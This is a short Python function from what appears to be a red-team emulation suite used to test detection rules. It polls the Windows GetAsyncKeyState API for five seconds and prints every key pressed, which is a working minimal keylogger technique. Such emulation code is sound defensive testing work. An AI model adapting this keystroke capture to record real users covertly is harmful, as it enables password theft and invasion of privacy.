in cortado/rtas/collection_keylog_hook_keystate.py [0:0]
def GetAsyncKeyState():
from ctypes import windll # type: ignore
user32 = windll.user32 # type: ignore
special_keys = {
0x08: "BS",
0x09: "Tab",
0x0D: "Enter",
0x10: "Shift",
0x11: "Ctrl",
0x12: "Alt",
0x14: "CapsLock",
0x1B: "Esc",
0x20: "Space",
0x2E: "Del",
}
# reset key states
for i in range(256):
user32.GetAsyncKeyState(i) # type: ignore
start = time.time()
while time.time() - start < 5:
for i in range(256):
if user32.GetAsyncKeyState(i) & 1: # type: ignore
if i in special_keys:
print("<{}>".format(special_keys[i]))
elif 0x30 <= i <= 0x5A:
print("{:c}".format(i))
else:
print("{:02x}".format(i))
time.sleep(0.01)
sys.stdout.flush() # type: ignore